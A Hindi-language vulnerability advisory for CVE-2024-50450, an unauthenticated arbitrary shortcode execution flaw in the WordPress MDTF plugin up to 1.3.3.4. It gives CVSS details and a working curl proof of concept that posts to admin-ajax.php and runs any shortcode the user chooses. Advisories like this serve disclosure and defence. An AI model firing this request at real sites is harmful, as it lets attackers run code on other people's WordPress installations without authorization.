CVE-2024-50450

WordPress Meta Data and Taxonomies Filter (MDTF) <= 1.3.3.4 - बिना प्रमाणीकरण के मनमाना शॉर्टकोड निष्पादन

विवरण:

वर्डप्रेस के लिए MDTF – मेटा डेटा और टैक्सोनॉमी फ़िल्टर प्लगइन सभी संस्करणों में 1.3.3.4 तक (सहित) मनमाना शॉर्टकोड निष्पादन के प्रति संवेदनशील है। यह सॉफ़्टवेयर द्वारा उपयोगकर्ताओं को एक ऐसी कार्रवाई निष्पादित करने की अनुमति देने के कारण है जो do_shortcode चलाने से पहले किसी मान को ठीक से मान्य नहीं करती है। यह बिना प्रमाणीकरण के हमलावरों को मनमाना शॉर्टकोड निष्पादित करने में सक्षम बनाता है।

प्रकाशित: 2024-10-24 00:00:00
CVE: CVE-2024-50450
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSS स्कोर: 7.3
स्लग: wp-meta-data-filter-and-taxonomy-filter

POC

[contact_7] को उस शॉर्टकट कोड में बदलें जिसे आप चलाना चाहते हैं।

curl -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "action=mdf_get_ajax_auto_recount_data" \
  -d "mdf_front_qtrans_lang=en" \
  -d "mdf_front_wpml_lang=en" \
  -d "mdf_is_search_going=1" \
  -d "mdf_tmp_order=asc" \
  -d "mdf_tmp_orderby=date" \
  -d "no_wp_die=true" \
  -d "mdf_ajax_request=true" \
  -d "mdf_cat=category_slug" \
  -d "page_mdf=1" \
  -d "slug=page_slug" \
  -d "type=shortcode" \
  -d "shortcode_id=shortcode_id_value" \
  -d "mdf_ajax_content_redraw=true" \
  -d "shortcode_txt=[contact_7]" \
  http://kubernetes.docker.internal/wp-admin/admin-ajax.php

CVE-2024-50450

सबसे लोकप्रिय

CVE-2024-50450

विवरण:

POC